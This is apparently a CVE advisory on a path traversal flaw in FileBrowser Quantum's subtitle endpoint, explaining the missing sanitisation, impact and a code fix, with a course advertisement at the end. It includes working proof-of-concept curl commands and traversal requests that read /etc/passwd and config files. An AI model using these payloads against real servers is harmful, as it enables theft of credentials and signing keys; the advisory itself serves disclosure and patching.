Listen to this Post
How CVE-2026-54910 Works
FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.4.3-beta, the `subsHandler` endpoint (GET /api/media/subs) is vulnerable to two independent path traversal vectors.
The first and primary vector is the `path` query parameter. In the code (http/media.go:54), this parameter is passed directly to `idx.GetRealPath()` without first being sanitized by SanitizeUserPath(). The `SanitizeUserPath()` function is designed to explicitly reject any path segment containing .., a common protection against directory traversal. Because this handler skips this crucial sanitization step, an attacker can supply a value like path=../../etc/passwd. This allows them to escape the application’s designated storage root and set the `parentDir` variable to any directory on the host filesystem, such as /etc. Crucially, this primary vector does not require any existing file to be present in the storage scope.
The secondary vector is the `name` query parameter. In the code (http/media.go:63), this parameter is used directly in a `filepath.Join(parentDir, name)` operation. The `filepath.Join` function resolves `..` components, meaning a value like `name=../../etc/passwd` will successfully traverse upwards from the parentDir. While this vector requires a valid file to be present in the storage scope to serve as the `path` anchor, it still allows an attacker to escape their intended directory.
The `GetSubSidecarContent` function (common/utils/media.go:17-43) then reads and returns the contents of the file specified by the traversed path. The only constraints are that the target file must be under 50MB in size and contain valid UTF-8 text; binary files will return an empty string.
The endpoint is protected by the `withUser` middleware but requires no special permissions like admin, modify, share, or download. Any authenticated user can exploit this flaw to read any text file the server process has access to, including sensitive files like /etc/passwd, SSH keys, database credentials, and JWT signing keys.
DailyCVE Form
Platform: FileBrowser Quantum
Version: < 1.4.3-beta
Vulnerability: Path Traversal (CWE-22, CWE-23)
Severity: High (CVSS 3.1: 7.7)
date: 2026-07-20
Prediction: 2026-07-20 (Patched)
What Undercode Say: Analytics
The vulnerability stems from a failure to sanitize user input in the `subsHandler` endpoint. The core issue is the missing call to `SanitizeUserPath()` for the `path` parameter, a function that is used correctly in all other handlers. This indicates a logic flaw where a new feature was implemented without adopting the standard security patterns of the codebase.
To check if your instance is vulnerable, you can use the following `curl` commands.
Vector 1: Path Traversal (No anchor file needed)
docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18080/api/media/subs?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"
Vector 2: Name Traversal (Anchor file required)
mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18081/api/media/subs?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"
Both commands are expected to return the contents of `/etc/passwd` with an HTTP 200 status code.
Exploit
An attacker with any authenticated user account can exploit this vulnerability. The primary `path` vector is particularly dangerous as it doesn’t require any pre-existing files. By crafting a request with a `path` parameter containing `../` sequences, an attacker can read sensitive system files.
For example, to read the system’s password file:
`GET /api/media/subs?path=../../etc/passwd&source=srv&name=passwd`
To read the application’s configuration file containing secrets:
`GET /api/media/subs?path=../../app/config.json&source=srv&name=config`
Because the endpoint only requires basic authentication, this elevates the risk from a simple information disclosure to a potential stepping stone for full system compromise.
Protection
The primary fix is to apply the standard sanitization function to the `path` parameter and to sanitize the `name` parameter.
The recommended code fix in `http/media.go` is as follows:
// http/media.go, subsHandler
// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
return http.StatusBadRequest, err
}
// Strip directory components from name to prevent traversal
name = filepath.Base(name)
`SanitizeUserPath()` will reject any path containing `..` segments. `filepath.Base(“../../etc/passwd”)` will return "passwd", effectively neutralizing the secondary vector by stripping the traversal components.
Additionally, as a defense-in-depth measure, consider implementing a file extension allowlist to restrict the `name` parameter to only valid sub formats (e.g., .srt, .vtt, .ass, .ssa, .sub).
Upgrading to version `1.4.3-beta` or later is the only complete solution, as it patches the issue.
Impact
Successful exploitation allows an authenticated attacker to read any text file on the host system that the FileBrowser server process has permissions to read.
– No Anchor File Required: The primary `path` vector works even on a clean installation with an empty storage root.
– Scope Bypass: Users who are scoped to a specific subdirectory can escape their scope and access files belonging to other users or the host system.
– Credential Exposure: Attackers can read highly sensitive files such as /etc/passwd, `/etc/shadow` (if the process runs as root), SSH private keys, and application configuration files that may contain database passwords, API keys, and JWT signing secrets.
– Privilege Escalation: Reading the JWT signing key from the database or a configuration file could allow an attacker to forge their own admin tokens, leading to a complete compromise of the application.
– No Special Permissions Required: The endpoint is accessible to any authenticated user, regardless of their role or assigned permissions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
